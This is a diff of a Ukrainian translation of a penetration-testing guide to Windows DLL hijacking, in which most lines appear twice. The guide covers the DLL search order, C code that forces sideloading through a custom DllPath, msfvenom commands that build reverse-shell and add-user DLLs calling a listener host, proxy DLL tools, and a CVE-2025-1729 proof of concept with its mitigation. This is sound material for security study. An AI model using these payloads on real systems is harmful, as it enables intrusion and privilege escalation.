Якщо ви шукаєте **missing dlls in general**, залиште це працювати кілька **seconds**.\
|
||||
Якщо ви шукаєте **missing dll** всередині конкретного виконуваного файлу, потрібно додати **ще один фільтр, наприклад "Process Name" "contains" "\<exec name>", виконати його і зупинити захоплення подій**.
|
||||
|
||||
## Exploiting Missing Dlls
|
||||
|
||||
Щоб ескалувати привілеї, найкраща можливість, яку ми маємо, - це змогти **написати dll, який процес з привілеями спробує завантажити** в деякому **місці, де його будуть шукати**. Тому ми зможемо **написати** dll у **папці**, де **dll шукається раніше** папки, де знаходиться **оригінальний dll** (дивний випадок), або ми зможемо **записати в деяку папку, де dll буде шукатися**, а оригінальний **dll не існує** в жодній папці.
|
||||
Щоб ескалювати privileges, найкращий шанс — мати можливість **записати dll, який привілейований процес спробує завантажити** у одне із місць, де він буде шукатися. Таким чином ми зможемо **записати** dll у **каталог**, де цей dll шукатиметься **раніше**, ніж каталог з **оригінальним dll** (нетиповий випадок), або записати його у каталог, де dll просто відсутній у будь-якому іншому місці.
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**У** [**документації Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **ви можете знайти, як конкретно завантажуються DLL.**
|
||||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
||||
|
||||
**Windows програми** шукають DLL, дотримуючись набору **попередньо визначених шляхів пошуку**, дотримуючись певної послідовності. Проблема DLL hijacking виникає, коли шкідливий DLL стратегічно розміщується в одному з цих каталогів, забезпечуючи його завантаження перед автентичним DLL. Рішенням для запобігання цьому є забезпечення того, щоб програма використовувала абсолютні шляхи при посиланні на необхідні їй DLL.
|
||||
Додатки Windows шукають DLL, слідуючи набору попередньо визначених шляхів пошуку у певній послідовності. Проблема DLL hijacking виникає, коли шкідливий DLL стратегічно розміщено в одному з цих каталогів так, щоб він завантажився раніше за автентичний DLL. Рішенням для запобігання цьому є забезпечення того, щоб додаток використовував абсолютні шляхи при зверненні до потрібних DLL.
|
||||
|
||||
Ви можете побачити **порядок пошуку DLL на 32-бітних** системах нижче:
|
||||
Нижче наведено **DLL search order on 32-bit** системах:
|
||||
|
||||
1. Каталог, з якого завантажено програму.
|
||||
2. Системний каталог. Використовуйте функцію [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya), щоб отримати шлях до цього каталогу.(_C:\Windows\System32_)
|
||||
3. 16-бітний системний каталог. Немає функції, яка отримує шлях до цього каталогу, але він шукається. (_C:\Windows\System_)
|
||||
4. Каталог Windows. Використовуйте функцію [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya), щоб отримати шлях до цього каталогу.
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. Поточний каталог.
|
||||
6. Каталоги, які вказані в змінній середовища PATH. Зверніть увагу, що це не включає шлях для кожної програми, вказаний у реєстраційній ключі **App Paths**. Ключ **App Paths** не використовується при обчисленні шляху пошуку DLL.
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
Це **за замовчуванням** порядок пошуку з **SafeDllSearchMode** увімкненим. Коли він вимкнений, поточний каталог підвищується до другого місця. Щоб вимкнути цю функцію, створіть значення реєстру **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** і встановіть його на 0 (за замовчуванням увімкнено).
|
||||
Це **default** порядок пошуку при увімкненому **SafeDllSearchMode**. Якщо він вимкнений, поточний каталог піднімається на друге місце. Щоб вимкнути цю функцію, створіть значення реєстру **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** і встановіть його в 0 (за замовчуванням увімкнено).
|
||||
|
||||
Якщо функція [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) викликається з **LOAD_WITH_ALTERED_SEARCH_PATH**, пошук починається в каталозі виконуваного модуля, який **LoadLibraryEx** завантажує.
|
||||
Якщо функція [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) викликається з прапором **LOAD_WITH_ALTERED_SEARCH_PATH**, пошук починається в каталозі виконуваного модуля, який завантажує **LoadLibraryEx**.
|
||||
|
||||
Нарешті, зверніть увагу, що **dll може бути завантажено, вказуючи абсолютний шлях, а не просто ім'я**. У цьому випадку цей dll **шукатиметься лише в цьому шляху** (якщо у dll є якісь залежності, їх шукатимуть так, як якщо б їх завантажили за ім'ям).
|
||||
Нарешті, зауважте, що **dll може бути вказаний абсолютним шляхом замість просто імені**. У такому випадку цей dll буде шукатися **тільки за цим шляхом** (якщо dll має залежності, вони будуть шукатися як просто завантажені за іменем).
|
||||
|
||||
Існують інші способи змінити порядок пошуку, але тут я їх описувати не буду.
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Розширений спосіб детерміністично вплинути на шлях пошуку DLL для щойно створеного процесу — встановити поле DllPath у RTL_USER_PROCESS_PARAMETERS при створенні процесу через нативні API ntdll. Підставивши сюди контрольований зловмисником каталог, цільовий процес, який резолвить імпортований DLL за ім'ям (без абсолютного шляху і без використання безпечних прапорів завантаження), можна примусити завантажити шкідливий DLL з цього каталогу.
|
||||
|
||||
Ключова ідея
|
||||
- Побудувати параметри процесу за допомогою RtlCreateProcessParametersEx і вказати кастомний DllPath, що вказує на вашу контрольовану папку (наприклад, директорію, де знаходиться ваш dropper/unpacker).
|
||||
- Створити процес за допомогою RtlCreateUserProcess. Коли цільовий бінар резолвитиме DLL за ім'ям, завантажувач проконсультується з наданим DllPath під час резолюції, що дозволить надійно виконати sideloading, навіть якщо шкідливий DLL не знаходиться поруч із цільовим EXE.
|
||||
|
||||
Примітки/обмеження
|
||||
- Це впливає лише на дочірній процес, що створюється; це відрізняється від SetDllDirectory, який впливає тільки на поточний процес.
|
||||
- Ціль має імпортувати або викликати LoadLibrary по імені (без абсолютного шляху і без використання LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs та жорстко закодовані абсолютні шляхи не можна перехитрити. Forwarded exports і SxS можуть змінити пріоритет.
|
||||
|
||||
Мінімальний приклад на C (ntdll, wide strings, спрощена обробка помилок):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Практичний приклад використання
|
||||
- Помістіть шкідливий xmllite.dll (який експортує необхідні функції або перенаправляє виклики до справжнього) у ваш каталог DllPath.
|
||||
- Запустіть signed binary, відомий тим, що шукає xmllite.dll за назвою, використовуючи вищевказану техніку. Loader вирішує імпорт через вказаний DllPath і sideloads ваш DLL.
|
||||
|
||||
Ця техніка була зафіксована in-the-wild як механізм для багатоступеневих sideloading-ланцюжків: початковий лаунчер скидає helper DLL, який потім породжує Microsoft-signed, hijackable binary з кастомним DllPath, щоб примусово завантажити attacker’s DLL зі staging directory.
|
||||
|
||||
Є й інші способи змінити порядок пошуку, але я не буду пояснювати їх тут.
|
||||
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
|
||||
В документації Windows зазначено певні винятки з стандартного порядку пошуку DLL:
|
||||
У документації Windows зазначено певні винятки зі стандартного порядку пошуку DLL:
|
||||
|
||||
- Коли зустрічається **DLL, яка має таку ж назву, як вже завантажена в пам'ять**, система обходить звичайний пошук. Натомість вона виконує перевірку на перенаправлення та маніфест, перш ніж за замовчуванням використовувати вже завантажений DLL. **У цьому випадку система не проводить пошук для DLL**.
|
||||
- У випадках, коли DLL визнано **відомим DLL** для поточної версії Windows, система використовуватиме свою версію відомого DLL разом з будь-якими його залежними DLL, **пропускаючи процес пошуку**. Реєстраційний ключ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** містить список цих відомих DLL.
|
||||
- Якщо **DLL має залежності**, пошук цих залежних DLL проводиться так, ніби їх вказано лише за їх **іменами модулів**, незалежно від того, чи була початкова DLL ідентифікована через повний шлях.
|
||||
- Коли зустрічається **DLL, що має ту саму назву, що й вже завантажена в пам'ять**, система обминає звичайний пошук. Натомість вона виконує перевірку на перенаправлення та наявність manifest перед тим, як повернутися до DLL, яка вже знаходиться в пам'яті. **У цьому сценарії система не проводить пошук DLL**.
|
||||
- У випадках, коли DLL розпізнано як **known DLL** для поточної версії Windows, система використовуватиме свою версію цієї known DLL, разом з будь-якими її залежними DLL, **уникнувши процесу пошуку**. Ключ реєстру **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** містить список цих known DLL.
|
||||
- Якщо **DLL має залежності**, пошук цих залежних DLL проводиться так, ніби вони були вказані лише своїми **module names**, незалежно від того, чи початкова DLL була ідентифікована через повний шлях.
|
||||
|
||||
### Escalating Privileges
|
||||
### Ескалація привілеїв
|
||||
|
||||
**Requirements**:
|
||||
**Вимоги**:
|
||||
|
||||
- Визначити процес, який працює або буде працювати під **різними привілеями** (горизонтальний або бічний рух), який **не має DLL**.
|
||||
- Забезпечити, щоб **доступ на запис** був доступний для будь-якої **каталогу**, в якій **DLL** буде **шукатися**. Це місце може бути каталогом виконуваного файлу або каталогом у системному шляху.
|
||||
- Виявити процес, який працює або буде працювати з **іншими привілеями** (horizontal або lateral movement), і який **не має DLL**.
|
||||
- Забезпечити наявність **write access** до будь-якого **каталогу**, у якому **DLL** буде **шукатися**. Цим місцем може бути каталог виконуваного файлу або каталог у системному шляху.
|
||||
|
||||
Так, вимоги складно знайти, оскільки **за замовчуванням це досить дивно - знайти привілейований виконуваний файл без dll**, і ще **більш дивно мати права на запис у каталозі системного шляху** (за замовчуванням ви не можете). Але в неправильно налаштованих середовищах це можливо.\
|
||||
У випадку, якщо вам пощастить і ви знайдете себе, що відповідає вимогам, ви можете перевірити проект [UACME](https://github.com/hfiref0x/UACME). Навіть якщо **основна мета проекту - обійти UAC**, ви можете знайти там **PoC** для Dll hijaking для версії Windows, яку ви можете використовувати (можливо, просто змінивши шлях до папки, де у вас є права на запис).
|
||||
Так, вимоги складно знайти, оскільки **за замовчуванням доволі дивно знайти привілейований виконуваний файл без DLL**, і ще **більш дивно мати права запису в папку в системному шляху** (за замовчуванням цього не можна). Але в неправильно сконфігурованих середовищах це можливо.\
|
||||
Якщо вам пощастило і ви відповідаєте вимогам, можете подивитися проект [UACME](https://github.com/hfiref0x/UACME). Навіть якщо **головна мета проекту — обхід UAC**, там можна знайти **PoC** Dll hijaking для версії Windows, який ви можете використати (ймовірно, лише змінивши шлях до папки, де у вас є права запису).
|
||||
|
||||
Зверніть увагу, що ви можете **перевірити свої права в папці**, виконавши:
|
||||
Зверніть увагу, що ви можете **перевірити свої права в папці**, зробивши:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
І **перевірте дозволи всіх папок всередині PATH**:
|
||||
І **перевірте дозволи всіх папок у PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Ви також можете перевірити імпорти виконуваного файлу та експорти dll за допомогою:
|
||||
Ви також можете перевірити imports у executable та exports у dll за допомогою:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Для повного посібника про те, як **зловживати Dll Hijacking для підвищення привілеїв** з правами на запис у **папку системного шляху**, перевірте:
|
||||
Для повного посібника про те, як **abuse Dll Hijacking to escalate privileges** з правами на запис у **System Path folder** перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Автоматизовані інструменти
|
||||
### Automated tools
|
||||
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) перевірить, чи маєте ви права на запис у будь-яку папку всередині системного PATH.\
|
||||
Інші цікаві автоматизовані інструменти для виявлення цієї вразливості - це **функції PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ та _Write-HijackDll._
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) перевірить, чи маєте ви права запису в будь-яку папку всередині system PATH.\
|
||||
Інші цікаві автоматизовані інструменти для виявлення цієї вразливості — це **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ та _Write-HijackDll._
|
||||
|
||||
### Приклад
|
||||
### Example
|
||||
|
||||
Якщо ви знайдете експлуатовану ситуацію, однією з найважливіших речей для успішної експлуатації буде **створити dll, яка експортує принаймні всі функції, які виконуваний файл імпортуватиме з неї**. У будь-якому випадку, зверніть увагу, що Dll Hijacking є корисним для [підвищення з рівня середньої цілісності до високої **(обхід UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) або з [**високої цілісності до SYSTEM**](../index.html#from-high-integrity-to-system)**.** Ви можете знайти приклад **як створити дійсну dll** в цьому дослідженні dll hijacking, зосередженому на dll hijacking для виконання: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Більше того, у **наступному розділі** ви можете знайти деякі **базові коди dll**, які можуть бути корисними як **шаблони** або для створення **dll з не обов'язковими експортованими функціями**.
|
||||
У разі, якщо ви знайдете експлуатований сценарій, одним із найважливіших аспектів для успішної експлуатації буде **створити dll, який експортує принаймні всі функції, які виконуваний файл імпортуватиме з нього**. Також зауважте, що Dll Hijacking корисний для [escalate from Medium Integrity level to High **(bypassing UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) або з[ **High Integrity to SYSTEM**](../index.html#from-high-integrity-to-system)**.** Ви можете знайти приклад **how to create a valid dll** у цьому дослідженні dll hijacking, спрямованому на виконання: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Крім того, у **наступному розділі** ви знайдете деякі **basic dll codes**, які можуть бути корисні як **templates** або для створення **dll with non required functions exported**.
|
||||
|
||||
## **Створення та компіляція Dll**
|
||||
## **Creating and compiling Dlls**
|
||||
|
||||
### **Dll Проксіювання**
|
||||
### **Dll Proxifying**
|
||||
|
||||
В основному, **Dll проксі** - це Dll, здатна **виконувати ваш шкідливий код при завантаженні**, але також **виконувати** та **працювати** як **очікувалося**, **пересилаючи всі виклики до реальної бібліотеки**.
|
||||
По суті, **Dll proxy** — це Dll, здатна **execute your malicious code when loaded**, але також **expose** і **work** as **expected** шляхом переадресування всіх викликів до реальної бібліотеки.
|
||||
|
||||
За допомогою інструменту [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) або [**Spartacus**](https://github.com/Accenture/Spartacus) ви можете фактично **вказати виконуваний файл і вибрати бібліотеку**, яку хочете проксувати, і **згенерувати проксовану dll** або **вказати Dll** і **згенерувати проксовану dll**.
|
||||
За допомогою інструменту [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) або [**Spartacus**](https://github.com/Accenture/Spartacus) ви фактично можете **indicate an executable and select the library** яку хочете proxify та **generate a proxified dll**, або **indicate the Dll** і **generate a proxified dll**.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Отримати rev shell (x64):**
|
||||
**Get rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
@ -127,13 +218,13 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Створіть користувача (x86, я не бачив версії x64):**
|
||||
**Створити користувача (x86 — я не бачив версії x64):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Ваш власний
|
||||
|
||||
Зверніть увагу, що в кількох випадках Dll, яку ви компілюєте, повинна **експортувати кілька функцій**, які будуть завантажені процесом жертви; якщо ці функції не існують, **бінарний файл не зможе їх завантажити** і **експлуатація зазнає невдачі**.
|
||||
Зверніть увагу, що в деяких випадках Dll, яку ви компілюєте, має **export several functions**, які будуть завантажені victim process; якщо ці функції не існують, **binary won't be able to load** їх і **exploit will fail**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
@ -214,20 +305,20 @@ break;
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Дослідження випадку: CVE-2025-1729 - Підвищення привілеїв за допомогою TPQMAssistant.exe
|
||||
## Кейс: CVE-2025-1729 — Privilege Escalation за допомогою TPQMAssistant.exe
|
||||
|
||||
Цей випадок демонструє **Phantom DLL Hijacking** у Quick Menu TrackPoint від Lenovo (`TPQMAssistant.exe`), зафіксованому як **CVE-2025-1729**.
|
||||
У цьому кейсі демонструється **Phantom DLL Hijacking** у Lenovo TrackPoint Quick Menu (`TPQMAssistant.exe`), відстежується як **CVE-2025-1729**.
|
||||
|
||||
### Деталі вразливості
|
||||
|
||||
- **Компонент**: `TPQMAssistant.exe`, розташований за адресою `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
- **Заплановане завдання**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` виконується щодня о 9:30 ранку в контексті увійшовшого користувача.
|
||||
- **Права доступу до каталогу**: Доступні для запису `CREATOR OWNER`, що дозволяє локальним користувачам скидувати довільні файли.
|
||||
- **Поведение пошуку DLL**: Спробує завантажити `hostfxr.dll` спочатку з робочого каталогу і реєструє "NAME NOT FOUND", якщо відсутній, що вказує на пріоритет пошуку в локальному каталозі.
|
||||
- **Компонент**: `TPQMAssistant.exe`, розташований у `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
- **Scheduled Task**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` запускається щодня о 9:30 під контекстом увійшовшого користувача.
|
||||
- **Дозволи каталогу**: має права запису для `CREATOR OWNER`, що дозволяє локальним користувачам залишати довільні файли.
|
||||
- **DLL Search Behavior**: спочатку намагається завантажити `hostfxr.dll` з робочого каталогу й виводить у журнал "NAME NOT FOUND", якщо його не знайдено, що свідчить про пріоритет пошуку в локальному каталозі.
|
||||
|
||||
### Реалізація експлуатації
|
||||
### Exploit Implementation
|
||||
|
||||
Зловмисник може помістити шкідливий `hostfxr.dll` stub в той же каталог, експлуатуючи відсутню DLL для досягнення виконання коду в контексті користувача:
|
||||
Зловмисник може розмістити шкідливий `hostfxr.dll` stub у тому ж каталозі, використавши відсутність DLL для виконання коду в контексті користувача:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
@ -239,18 +330,18 @@ MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
### Attack Flow
|
||||
### Послідовність атаки
|
||||
|
||||
1. Як стандартний користувач, помістіть `hostfxr.dll` у `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
2. Дочекайтеся, поки заплановане завдання запуститься о 9:30 ранку в контексті поточного користувача.
|
||||
3. Якщо адміністратор увійшов у систему, коли завдання виконується, шкідливий DLL запускається в сеансі адміністратора з середньою цілісністю.
|
||||
4. Зв'яжіть стандартні методи обходу UAC, щоб підвищити привілеї з середньої цілісності до SYSTEM.
|
||||
1. Як звичайний користувач, помістіть `hostfxr.dll` у `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
2. Зачекайте, поки заплановане завдання виконається о 9:30 ранку в контексті поточного користувача.
|
||||
3. Якщо адміністратор увійшов у систему під час виконання завдання, шкідлива DLL запускається в сесії адміністратора з medium integrity.
|
||||
4. Застосуйте стандартні UAC bypass techniques, щоб підвищити привілеї з medium integrity до SYSTEM.
|
||||
|
||||
### Mitigation
|
||||
### Міри пом'якшення
|
||||
|
||||
Lenovo випустила версію UWP **1.12.54.0** через Microsoft Store, яка встановлює TPQMAssistant у `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, видаляє вразливе заплановане завдання та видаляє застарілі компоненти Win32.
|
||||
Lenovo випустила UWP версію **1.12.54.0** через Microsoft Store, яка встановлює TPQMAssistant у `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, видаляє вразливе заплановане завдання та деінсталює застарілі Win32-компоненти.
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
|
||||
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
|
||||
@ -260,4 +351,7 @@ Lenovo випустила версію UWP **1.12.54.0** через Microsoft St
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user